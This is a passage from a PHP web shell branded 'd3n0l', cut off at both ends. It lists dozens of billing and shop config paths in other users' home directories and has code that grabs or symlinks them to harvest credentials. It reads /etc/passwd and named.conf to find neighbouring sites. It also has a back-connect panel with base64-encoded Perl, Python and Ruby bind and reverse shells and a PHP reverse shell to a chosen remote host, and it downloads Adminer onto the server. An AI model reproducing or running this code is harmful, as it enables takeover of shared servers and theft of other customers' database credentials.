  2696. "/home/$user/public_html/Whm/submitticket.php" => "WHMCS",
  2697. "/home/$user/public_html/whm/submitticket.php" => "WHMCS",
  2698. "/home/$user/public_html/HOST/submitticket.php" => "WHMCS",
  2699. "/home/$user/public_html/Host/submitticket.php" => "WHMCS",
  2700. "/home/$user/public_html/host/submitticket.php" => "WHMCS",
  2701. "/home/$user/public_html/SUPPORTES/submitticket.php" => "WHMCS",
  2702. "/home/$user/public_html/Supportes/submitticket.php" => "WHMCS",
  2703. "/home/$user/public_html/supportes/submitticket.php" => "WHMCS",
  2704. "/home/$user/public_html/domains/submitticket.php" => "WHMCS",
  2705. "/home/$user/public_html/domain/submitticket.php" => "WHMCS",
  2706. "/home/$user/public_html/Hosting/submitticket.php" => "WHMCS",
  2707. "/home/$user/public_html/HOSTING/submitticket.php" => "WHMCS",
  2708. "/home/$user/public_html/hosting/submitticket.php" => "WHMCS",
  2709. "/home/$user/public_html/CART/submitticket.php" => "WHMCS",
  2710. "/home/$user/public_html/Cart/submitticket.php" => "WHMCS",
  2711. "/home/$user/public_html/cart/submitticket.php" => "WHMCS",
  2712. "/home/$user/public_html/ORDER/submitticket.php" => "WHMCS",
  2713. "/home/$user/public_html/Order/submitticket.php" => "WHMCS",
  2714. "/home/$user/public_html/order/submitticket.php" => "WHMCS",
  2715. "/home/$user/public_html/CLIENT/submitticket.php" => "WHMCS",
  2716. "/home/$user/public_html/Client/submitticket.php" => "WHMCS",
  2717. "/home/$user/public_html/client/submitticket.php" => "WHMCS",
  2718. "/home/$user/public_html/CLIENTAREA/submitticket.php" => "WHMCS",
  2719. "/home/$user/public_html/Clientarea/submitticket.php" => "WHMCS",
  2720. "/home/$user/public_html/clientarea/submitticket.php" => "WHMCS",
  2721. "/home/$user/public_html/SUPPORT/submitticket.php" => "WHMCS",
  2722. "/home/$user/public_html/Support/submitticket.php" => "WHMCS",
  2723. "/home/$user/public_html/support/submitticket.php" => "WHMCS",
  2724. "/home/$user/public_html/BILLING/submitticket.php" => "WHMCS",
  2725. "/home/$user/public_html/Billing/submitticket.php" => "WHMCS",
  2726. "/home/$user/public_html/billing/submitticket.php" => "WHMCS",
  2727. "/home/$user/public_html/BUY/submitticket.php" => "WHMCS",
  2728. "/home/$user/public_html/Buy/submitticket.php" => "WHMCS",
  2729. "/home/$user/public_html/buy/submitticket.php" => "WHMCS",
  2730. "/home/$user/public_html/MANAGE/submitticket.php" => "WHMCS",
  2731. "/home/$user/public_html/Manage/submitticket.php" => "WHMCS",
  2732. "/home/$user/public_html/manage/submitticket.php" => "WHMCS",
  2733. "/home/$user/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS",
  2734. "/home/$user/public_html/ClientSupport/submitticket.php" => "WHMCS",
  2735. "/home/$user/public_html/Clientsupport/submitticket.php" => "WHMCS",
  2736. "/home/$user/public_html/clientsupport/submitticket.php" => "WHMCS",
  2737. "/home/$user/public_html/CHECKOUT/submitticket.php" => "WHMCS",
  2738. "/home/$user/public_html/Checkout/submitticket.php" => "WHMCS",
  2739. "/home/$user/public_html/checkout/submitticket.php" => "WHMCS",
  2740. "/home/$user/public_html/BILLINGS/submitticket.php" => "WHMCS",
  2741. "/home/$user/public_html/Billings/submitticket.php" => "WHMCS",
  2742. "/home/$user/public_html/billings/submitticket.php" => "WHMCS",
  2743. "/home/$user/public_html/BASKET/submitticket.php" => "WHMCS",
  2744. "/home/$user/public_html/Basket/submitticket.php" => "WHMCS",
  2745. "/home/$user/public_html/basket/submitticket.php" => "WHMCS",
  2746. "/home/$user/public_html/SECURE/submitticket.php" => "WHMCS",
  2747. "/home/$user/public_html/Secure/submitticket.php" => "WHMCS",
  2748. "/home/$user/public_html/secure/submitticket.php" => "WHMCS",
  2749. "/home/$user/public_html/SALES/submitticket.php" => "WHMCS",
  2750. "/home/$user/public_html/Sales/submitticket.php" => "WHMCS",
  2751. "/home/$user/public_html/sales/submitticket.php" => "WHMCS",
  2752. "/home/$user/public_html/BILL/submitticket.php" => "WHMCS",
  2753. "/home/$user/public_html/Bill/submitticket.php" => "WHMCS",
  2754. "/home/$user/public_html/bill/submitticket.php" => "WHMCS",
  2755. "/home/$user/public_html/PURCHASE/submitticket.php" => "WHMCS",
  2756. "/home/$user/public_html/Purchase/submitticket.php" => "WHMCS",
  2757. "/home/$user/public_html/purchase/submitticket.php" => "WHMCS",
  2758. "/home/$user/public_html/ACCOUNT/submitticket.php" => "WHMCS",
  2759. "/home/$user/public_html/Account/submitticket.php" => "WHMCS",
  2760. "/home/$user/public_html/account/submitticket.php" => "WHMCS",
  2761. "/home/$user/public_html/USER/submitticket.php" => "WHMCS",
  2762. "/home/$user/public_html/User/submitticket.php" => "WHMCS",
  2763. "/home/$user/public_html/user/submitticket.php" => "WHMCS",
  2764. "/home/$user/public_html/CLIENTS/submitticket.php" => "WHMCS",
  2765. "/home/$user/public_html/Clients/submitticket.php" => "WHMCS",
  2766. "/home/$user/public_html/clients/submitticket.php" => "WHMCS",
  2767. "/home/$user/public_html/BILLINGS/submitticket.php" => "WHMCS",
  2768. "/home/$user/public_html/Billings/submitticket.php" => "WHMCS",
  2769. "/home/$user/public_html/billings/submitticket.php" => "WHMCS",
  2770. "/home/$user/public_html/MY/submitticket.php" => "WHMCS",
  2771. "/home/$user/public_html/My/submitticket.php" => "WHMCS",
  2772. "/home/$user/public_html/my/submitticket.php" => "WHMCS",
  2773. "/home/$user/public_html/secure/whm/submitticket.php" => "WHMCS",
  2774. "/home/$user/public_html/secure/whmcs/submitticket.php" => "WHMCS",
  2775. "/home/$user/public_html/panel/submitticket.php" => "WHMCS",
  2776. "/home/$user/public_html/clientes/submitticket.php" => "WHMCS",
  2777. "/home/$user/public_html/cliente/submitticket.php" => "WHMCS",
  2778. "/home/$user/public_html/support/order/submitticket.php" => "WHMCS",
  2779. "/home/$user/public_html/bb-config.php" => "BoxBilling",
  2780. "/home/$user/public_html/boxbilling/bb-config.php" => "BoxBilling",
  2781. "/home/$user/public_html/box/bb-config.php" => "BoxBilling",
  2782. "/home/$user/public_html/host/bb-config.php" => "BoxBilling",
  2783. "/home/$user/public_html/Host/bb-config.php" => "BoxBilling",
  2784. "/home/$user/public_html/supportes/bb-config.php" => "BoxBilling",
  2785. "/home/$user/public_html/support/bb-config.php" => "BoxBilling",
  2786. "/home/$user/public_html/hosting/bb-config.php" => "BoxBilling",
  2787. "/home/$user/public_html/cart/bb-config.php" => "BoxBilling",
  2788. "/home/$user/public_html/order/bb-config.php" => "BoxBilling",
  2789. "/home/$user/public_html/client/bb-config.php" => "BoxBilling",
  2790. "/home/$user/public_html/clients/bb-config.php" => "BoxBilling",
  2791. "/home/$user/public_html/cliente/bb-config.php" => "BoxBilling",
  2792. "/home/$user/public_html/clientes/bb-config.php" => "BoxBilling",
  2793. "/home/$user/public_html/billing/bb-config.php" => "BoxBilling",
  2794. "/home/$user/public_html/billings/bb-config.php" => "BoxBilling",
  2795. "/home/$user/public_html/my/bb-config.php" => "BoxBilling",
  2796. "/home/$user/public_html/secure/bb-config.php" => "BoxBilling",
  2797. "/home/$user/public_html/support/order/bb-config.php" => "BoxBilling",
  2798. "/home/$user/public_html/includes/dist-configure.php" => "Zencart",
  2799. "/home/$user/public_html/zencart/includes/dist-configure.php" => "Zencart",
  2800. "/home/$user/public_html/products/includes/dist-configure.php" => "Zencart",
  2801. "/home/$user/public_html/cart/includes/dist-configure.php" => "Zencart",
  2802. "/home/$user/public_html/shop/includes/dist-configure.php" => "Zencart",
  2803. "/home/$user/public_html/includes/iso4217.php" => "Hostbills",
  2804. "/home/$user/public_html/hostbills/includes/iso4217.php" => "Hostbills",
  2805. "/home/$user/public_html/host/includes/iso4217.php" => "Hostbills",
  2806. "/home/$user/public_html/Host/includes/iso4217.php" => "Hostbills",
  2807. "/home/$user/public_html/supportes/includes/iso4217.php" => "Hostbills",
  2808. "/home/$user/public_html/support/includes/iso4217.php" => "Hostbills",
  2809. "/home/$user/public_html/hosting/includes/iso4217.php" => "Hostbills",
  2810. "/home/$user/public_html/cart/includes/iso4217.php" => "Hostbills",
  2811. "/home/$user/public_html/order/includes/iso4217.php" => "Hostbills",
  2812. "/home/$user/public_html/client/includes/iso4217.php" => "Hostbills",
  2813. "/home/$user/public_html/clients/includes/iso4217.php" => "Hostbills",
  2814. "/home/$user/public_html/cliente/includes/iso4217.php" => "Hostbills",
  2815. "/home/$user/public_html/clientes/includes/iso4217.php" => "Hostbills",
  2816. "/home/$user/public_html/billing/includes/iso4217.php" => "Hostbills",
  2817. "/home/$user/public_html/billings/includes/iso4217.php" => "Hostbills",
  2818. "/home/$user/public_html/my/includes/iso4217.php" => "Hostbills",
  2819. "/home/$user/public_html/secure/includes/iso4217.php" => "Hostbills",
  2820. "/home/$user/public_html/support/order/includes/iso4217.php" => "Hostbills"
  2821. );
  2822. foreach($grab_config as $config => $nama_config){
  2823. if($_POST['config'] == 'grab'){
  2824. $ambil_config = file_get_contents($config);
  2825. if($ambil_config == ''){
  2826. } else {
  2827. $file_config = fopen("d3n0l_configgrab/$user-$nama_config.txt","w");
  2828. fputs($file_config,$ambil_config);
  2829. }
  2830. }
  2831. if($_POST['config'] == 'symlink'){
  2832. @symlink($config,"d3n0l_Symconfig/".$user."-".$nama_config.".txt");
  2833. }
  2834. if($_POST['config'] == '404'){
  2835. $sym404=symlink($config,"d3n0l_sym404/".$user."-".$nama_config.".txt");
  2836. if($sym404){
  2837. @mkdir("d3n0l_sym404/".$user."-".$nama_config.".txt404", 0777);
  2838. $htaccess="
  2839. Options Indexes FollowSymLinks
  2840. DirectoryIndex d3n0l.htm
  2841. HeaderName d3n0l.txt
  2842. Satisfy Any
  2843. IndexOptions IgnoreCase FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* SuppressHTMLPreamble
  2844. IndexIgnore *
  2845. ";
  2846. @file_put_contents("d3n0l_sym404/".$user."-".$nama_config.".txt404/.htaccess",$htaccess);
  2847. @symlink($config,"d3n0l_sym404/".$user."-".$nama_config.".txt404/d3n0l.txt");
  2848. }
  2849. }
  2850. }
  2851. }
  2852. if($_POST['config'] == 'grab'){
  2853. echo "<center>
  2854. <a href='?path=$path/d3n0l_configgrab'>
  2855. <font color=lime>Done</font>
  2856. </a></center>";
  2857. }
  2858. if($_POST['config'] == '404'){
  2859. echo "<center>
  2860. <a href=\"d3n0l_sym404/root/\">Symlink-Nya</a><br>
  2861. <a href=\"d3n0l_sym404/\">Configurations</a>
  2862. </center>";
  2863. }
  2864. if($_POST['config'] == 'symlink'){
  2865. echo "<center>
  2866. <a href=\"d3n0l_symconfig/root/\">Symlinknya</a><br>
  2867. <a href=\"d3n0l_symconfig/\">Configurations</a>
  2868. </center>";
  2869. }
  2870. if($_POST['config'] == 'symvhost'){
  2871. echo "<center>
  2872. <a href=\"d3n0l_symvhost/root/\">Root Server</a><br>
  2873. <a href=\"d3n0l_symvhost/\">Configurations</a>
  2874. </center>";
  2875. }
  2876. } else {
  2877. echo "<form method=\"POST\" action=\"\">
  2878. <center></select><br><textarea name=\"passwd\" class='area' rows='15' cols='60'>\n";
  2879. echo include("/etc/passwd");
  2880. echo "</textarea></center><br><br><center>
  2881. <select class=\"select\" name=\"config\" style=\"width: 450px;\" height=\"10\">
  2882. <option value=\"grab\">Config Grab</option>
  2883. <option value=\"symlink\">Symlink Config</option>
  2884. <option value=\"404\">Config 404</option>
  2885. <option value=\"symvhosts\">Vhosts Config Grabber</center></select><br></br>
  2886. <input type=\"submit\" value=\"GASS!!\"></td></tr></center>\n";
  2887. }
  2888. } elseif($_GET['d3n0l'] == 'jumping'){
  2889. $i = 0;
  2890. echo "<pre><div class='margin: 5px auto;'>";
  2891. $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
  2892. while($passwd = fgets($etc)){
  2893. if($passwd == '' || !$etc){
  2894. echo "<font color=red>Can't read /etc/passwd</font>";
  2895. } else {
  2896. preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  2897. foreach($user_jumping[1] as $user_jump){
  2898. $user_jumping_dir = "/home/$user_jump/public_html";
  2899. if(is_readable($user_jumping_dir)){
  2900. $i++;
  2901. $jrw = "[<font color=white>R</font>] <a href='?path=$user_jumping_dir'><font color=cyan>$user_jumping_dir</font></a>";
  2902. if(is_writable($user_jumping_dir)){
  2903. $jrw = "[<font color=white>RW</font>]
  2904. <a href='?path=$user_jumping_dir'>
  2905. <font color=cyan>$user_jumping_dir</font></a>";
  2906. }
  2907. echo $jrw;
  2908. if(function_exists('posix_getpwuid')){
  2909. $domain_jump = file_get_contents("/etc/named.conf");
  2910. if($domain_jump == ''){
  2911. echo " => ( <font color=red>Gak bisa ambil nama domain nya</font> )<br>";
  2912. } else {
  2913. preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
  2914. foreach($domains_jump[1] as $dj){
  2915. $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  2916. $user_jumping_url = $user_jumping_url['name'];
  2917. if($user_jumping_url == $user_jump){
  2918. echo " => ( <u>$dj</u> )<br>";
  2919. break;
  2920. }
  2921. }
  2922. }
  2923. } else {
  2924. echo "<br>";
  2925. }
  2926. }
  2927. }
  2928. }
  2929. }
  2930. if($i == 0){
  2931. } else {
  2932. echo "<br>Total ada ".$i." Kamar di ".gethostbyname($_SERVER['HTTP_HOST'])."";
  2933. }
  2934. echo "</div></pre>";
  2935. } elseif($_GET['backconnect'] == 'tool'){
  2936. echo "<br><br><center>
  2937. <form method=POST><br>
  2938. <span>Bind port to /bin/sh [Perl]</span><br/>
  2939. Port: <input type='text' name='port' value='443'>
  2940. <input type=submit name=bpl value='>>'>
  2941. <br><br>
  2942. <span>Back-connect</span><br/>
  2943. Server: <input type='text' name='server' placeholder='". $_SERVER['REMOTE_ADDR'] ."'>
  2944. Port: <input type='text' name='port' placeholder='443'>
  2945. <select class='select' name='backconnect' style='width: 100px;' height='10'>
  2946. <option value='perl'>Perl</option>
  2947. <option value='php'>PHP</option>
  2948. <option value='python'>Python</option>
  2949. <option value='ruby'>Ruby</option>
  2950. </select>
  2951. <input type=submit value='>>'>";
  2952. if($_POST['bpl']){
  2953. $bp=base64_decode("IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=");
  2954. $brt=@fopen('bp.pl','w');
  2955. fwrite($brt,$bp);
  2956. $out = exe("perl bp.pl ".$_POST['port']." 1>/dev/null 2>&1 &");
  2957. sleep(1);
  2958. echo "<pre>$out\n".exe("ps aux | grep bp.pl")."</pre>";
  2959. unlink("bp.pl");
  2960. }
  2961. if($_POST['backconnect'] == 'perl'){
  2962. $bc=base64_decode("IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7");
  2963. $plbc=@fopen('bc.pl','w');
  2964. fwrite($plbc,$bc);
  2965. $out = exe("perl bc.pl ".$_POST['server']." ".$_POST['port']." 1>/dev/null 2>&1 &");
  2966. sleep(1);
  2967. echo "<pre>$out\n".exe("ps aux | grep bc.pl")."</pre>";
  2968. unlink("bc.pl");
  2969. }
  2970. if($_POST['backconnect'] == 'python'){
  2971. $becaa=base64_decode("IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBDb243ZXh0IC0gWGFpIFN5bmRpY2F0ZVxuVGhhbmtzIEdvb2dsZSBGb3IgUmVmZXJlbnNpXG5cbicnJykNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwwKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDEpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMikNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwzKQ0KICAgIHNoZWxsID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pDQogIGV4Y2VwdCBzb2NrZXQudGltZW91dDoNCiAgICBwcmludCAiVGltT3V0Ig0KICBleGNlcHQgc29ja2V0LmVycm9yLCBlOg0KICAgIHByaW50ICJFcnJvciIsIGUNCnB5YmFja2Nvbm5lY3QoKQ==");
  2972. $pbcaa=@fopen('bcpyt.py','w');
  2973. fwrite($pbcaa,$becaa);
  2974. $out1 = exe("python bcpyt.py ".$_POST['server']." ".$_POST['port']);
  2975. sleep(1);
  2976. echo "<pre>$out1\n".exe("ps aux | grep bcpyt.py")."</pre>";
  2977. unlink("bcpyt.py");
  2978. }
  2979. if($_POST['backconnect'] == 'ruby'){
  2980. $becaak=base64_decode("IyEvdXNyL2Jpbi9lbnYgcnVieQ0KIyBkZXZpbHpjMGRlLm9yZyAoYykgMjAxMg0KIw0KIyBiaW5kIGFuZCByZXZlcnNlIHNoZWxsDQojIGIzNzRrDQpyZXF1aXJlICdzb2NrZXQnDQpyZXF1aXJlICdwYXRobmFtZScNCg0KZGVmIHVzYWdlDQoJcHJpbnQgImJpbmQgOlxyXG4gIHJ1YnkgIiArIEZpbGUuYmFzZW5hbWUoX19GSUxFX18pICsgIiBbcG9ydF1cclxuIg0KCXByaW50ICJyZXZlcnNlIDpcclxuICBydWJ5ICIgKyBGaWxlLmJhc2VuYW1lKF9fRklMRV9fKSArICIgW3BvcnRdIFtob3N0XVxyXG4iDQplbmQNCg0KZGVmIHN1Y2tzDQoJc3Vja3MgPSBmYWxzZQ0KCWlmIFJVQllfUExBVEZPUk0uZG93bmNhc2UubWF0Y2goJ21zd2lufHdpbnxtaW5ndycpDQoJCXN1Y2tzID0gdHJ1ZQ0KCWVuZA0KCXJldHVybiBzdWNrcw0KZW5kDQoNCmRlZiByZWFscGF0aChzdHIpDQoJcmVhbCA9IHN0cg0KCWlmIEZpbGUuZXhpc3RzPyhzdHIpDQoJCWQgPSBQYXRobmFtZS5uZXcoc3RyKQ0KCQlyZWFsID0gZC5yZWFscGF0aC50b19zDQoJZW5kDQoJaWYgc3Vja3MNCgkJcmVhbCA9IHJlYWwuZ3N1YigvXC8vLCJcXCIpDQoJZW5kDQoJcmV0dXJuIHJlYWwNCmVuZA0KDQppZiBBUkdWLmxlbmd0aCA9PSAxDQoJaWYgQVJHVlswXSA9fiAvXlswLTldezEsNX0kLw0KCQlwb3J0ID0gSW50ZWdlcihBUkdWWzBdKQ0KCWVsc2UNCgkJdXNhZ2UNCgkJcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCgkJZXhpdA0KCWVuZA0KCXNlcnZlciA9IFRDUFNlcnZlci5uZXcoIiIsIHBvcnQpDQoJcyA9IHNlcnZlci5hY2NlcHQNCglwb3J0ID0gcy5wZWVyYWRkclsxXQ0KCW5hbWUgPSBzLnBlZXJhZGRyWzJdDQoJcy5wcmludCAiKioqIGNvbm5lY3RlZFxyXG4iDQoJcHV0cyAiKioqIGNvbm5lY3RlZCA6ICN7bmFtZX06I3twb3J0fVxyXG4iDQoJYmVnaW4NCgkJaWYgbm90IHN1Y2tzDQoJCQlmID0gcy50b19pDQoJCQlleGVjIHNwcmludGYoIi9iaW4vc2ggLWkgXDxcJiVkIFw+XCYlZCAyXD5cJiVkIixmLGYsZikNCgkJZWxzZQ0KCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQl3aGlsZSBsaW5lID0gcy5nZXRzDQoJCQkJcmFpc2UgZXJyb3JCcm8gaWYgbGluZSA9fiAvXmRpZVxyPyQvDQoJCQkJaWYgbm90IGxpbmUuY2hvbXAgPT0gIiINCgkJCQkJaWYgbGluZSA9fiAvY2QgLiovaQ0KCQkJCQkJbGluZSA9IGxpbmUuZ3N1YigvY2QgL2ksICcnKS5jaG9tcA0KCQkJCQkJaWYgRmlsZS5kaXJlY3Rvcnk/KGxpbmUpDQoJCQkJCQkJbGluZSA9IHJlYWxwYXRoKGxpbmUpDQoJCQkJCQkJRGlyLmNoZGlyKGxpbmUpDQoJCQkJCQllbmQNCgkJCQkJCXMucHJpbnQgIlxyXG4iICsgcmVhbHBhdGgoIi4iKSArICI+Ig0KCQkJCQllbHNpZiBsaW5lID1+IC9cdzouKi9pDQoJCQkJCQlpZiBGaWxlLmRpcmVjdG9yeT8obGluZS5jaG9tcCkNCgkJCQkJCQlEaXIuY2hkaXIobGluZS5jaG9tcCkNCgkJCQkJCWVuZA0KCQkJCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQkJCWVsc2UNCgkJCQkJCUlPLnBvcGVuKGxpbmUsInIiKXt8aW98cy5wcmludCBpby5yZWFkICsgIlxyXG4iICsgcmVhbHBhdGgoIi4iKSArICI+In0NCgkJCQkJZW5kDQoJCQkJZW5kDQoJCQllbmQNCgkJZW5kDQoJcmVzY3VlIGVycm9yQnJvDQoJCXB1dHMgIioqKiAje25hbWV9OiN7cG9ydH0gZGlzY29ubmVjdGVkIg0KCWVuc3VyZQ0KCQlzLmNsb3NlDQoJCXMgPSBuaWwNCgllbmQNCmVsc2lmIEFSR1YubGVuZ3RoID09IDINCglpZiBBUkdWWzBdID1+IC9eWzAtOV17MSw1fSQvDQoJCXBvcnQgPSBJbnRlZ2VyKEFSR1ZbMF0pDQoJCWhvc3QgPSBBUkdWWzFdDQoJZWxzaWYgQVJHVlsxXSA9fiAvXlswLTldezEsNX0kLw0KCQlwb3J0ID0gSW50ZWdlcihBUkdWWzFdKQ0KCQlob3N0ID0gQVJHVlswXQ0KCWVsc2UNCgkJdXNhZ2UNCgkJcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCgkJZXhpdA0KCWVuZA0KCXMgPSBUQ1BTb2NrZXQubmV3KCIje2hvc3R9IiwgcG9ydCkNCglwb3J0ID0gcy5wZWVyYWRkclsxXQ0KCW5hbWUgPSBzLnBlZXJhZGRyWzJdDQoJcy5wcmludCAiKioqIGNvbm5lY3RlZFxyXG4iDQoJcHV0cyAiKioqIGNvbm5lY3RlZCA6ICN7bmFtZX06I3twb3J0fSINCgliZWdpbg0KCQlpZiBub3Qgc3Vja3MNCgkJCWYgPSBzLnRvX2kNCgkJCWV4ZWMgc3ByaW50ZigiL2Jpbi9zaCAtaSBcPFwmJWQgXD5cJiVkIDJcPlwmJWQiLCBmLCBmLCBmKQ0KCQllbHNlDQoJCQlzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCgkJCXdoaWxlIGxpbmUgPSBzLmdldHMNCgkJCQlyYWlzZSBlcnJvckJybyBpZiBsaW5lID1+IC9eZGllXHI/JC8NCgkJCQlpZiBub3QgbGluZS5jaG9tcCA9PSAiIg0KCQkJCQlpZiBsaW5lID1+IC9jZCAuKi9pDQoJCQkJCQlsaW5lID0gbGluZS5nc3ViKC9jZCAvaSwgJycpLmNob21wDQoJCQkJCQlpZiBGaWxlLmRpcmVjdG9yeT8obGluZSkNCgkJCQkJCQlsaW5lID0gcmVhbHBhdGgobGluZSkNCgkJCQkJCQlEaXIuY2hkaXIobGluZSkNCgkJCQkJCWVuZA0KCQkJCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQkJCWVsc2lmIGxpbmUgPX4gL1x3Oi4qL2kNCgkJCQkJCWlmIEZpbGUuZGlyZWN0b3J5PyhsaW5lLmNob21wKQ0KCQkJCQkJCURpci5jaGRpcihsaW5lLmNob21wKQ0KCQkJCQkJZW5kDQoJCQkJCQlzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCgkJCQkJZWxzZQ0KCQkJCQkJSU8ucG9wZW4obGluZSwiciIpe3xpb3xzLnByaW50IGlvLnJlYWQgKyAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4ifQ0KCQkJCQllbmQNCgkJCQllbmQNCgkJCWVuZA0KCQllbmQNCglyZXNjdWUgZXJyb3JCcm8NCgkJcHV0cyAiKioqICN7bmFtZX06I3twb3J0fSBkaXNjb25uZWN0ZWQiDQoJZW5zdXJlDQoJCXMuY2xvc2UNCgkJcyA9IG5pbA0KCWVuZA0KZWxzZQ0KCXVzYWdlDQoJZXhpdA0KZW5k");
  2981. $pbcaak=@fopen('bcruby.rb','w');
  2982. fwrite($pbcaak,$becaak);
  2983. $out2 = exe("ruby bcruby.rb ".$_POST['server']." ".$_POST['port']);
  2984. sleep(1);
  2985. echo "<pre>$out2\n".exe("ps aux | grep bcruby.rb")."</pre>";
  2986. unlink("bcruby.rb");
  2987. }
  2988. if($_POST['backconnect'] == 'php'){
  2989. $ip = $_POST['server'];
  2990. $port = $_POST['port'];
  2991. $sockfd = fsockopen($ip , $port , $errno, $errstr );
  2992. if($errno != 0){
  2993. echo "<font color='red'>$errno : $errstr</font>";
  2994. } else if (!$sockfd){
  2995. $result = "<p>Unexpected Error has occured, connection may have failed.</p>";
  2996. } else {
  2997. fputs ($sockfd ,"
  2998. \n{################################################################}
  2999. \n <======================================================================>
  3000. \n{################################################################}\n");
  3001. $dir = shell_exec("pwd");
  3002. $sysinfo = shell_exec("uname -a");
  3003. $time = Shell_exec("time");
  3004. $len = 1337;
  3005. fputs($sockfd, "User ", $sysinfo, "connected @ ", $time, "\n\n");
  3006. while(!feof($sockfd)){ $cmdPrompt = '[d3n0l]#:> ';
  3007. fputs ($sockfd , $cmdPrompt );
  3008. $command= fgets($sockfd, $len);
  3009. fputs($sockfd , "\n" . shell_exec($command) . "\n\n");
  3010. }
  3011. fclose($sockfd);
  3012. }
  3013. }
  3014. echo "</p></div>";
  3015. } elseif($_GET['d3n0l'] == 'adminer'){
  3016. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  3017. function adminer($url, $isi){
  3018. $fp = fopen($isi, "w");
  3019. $ch = curl_init();
  3020. curl_setopt($ch, CURLOPT_URL, $url);
  3021. curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  3022. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  3023. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  3024. curl_setopt($ch, CURLOPT_FILE, $fp);
  3025. return curl_exec($ch);
  3026. curl_close($ch);
  3027. fclose($fp);
  3028. ob_flush();
  3029. flush();
  3030. }
  3031. if(file_exists('adminer.php')){
  3032. echo "<center><font color=white>
  3033. <a href='$full/adminer.php' target='_blank'>-> Adminer Login <-</a>
  3034. </font></center>";
  3035. } else {
  3036. if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")){
  3037. echo "<center><font color=white>
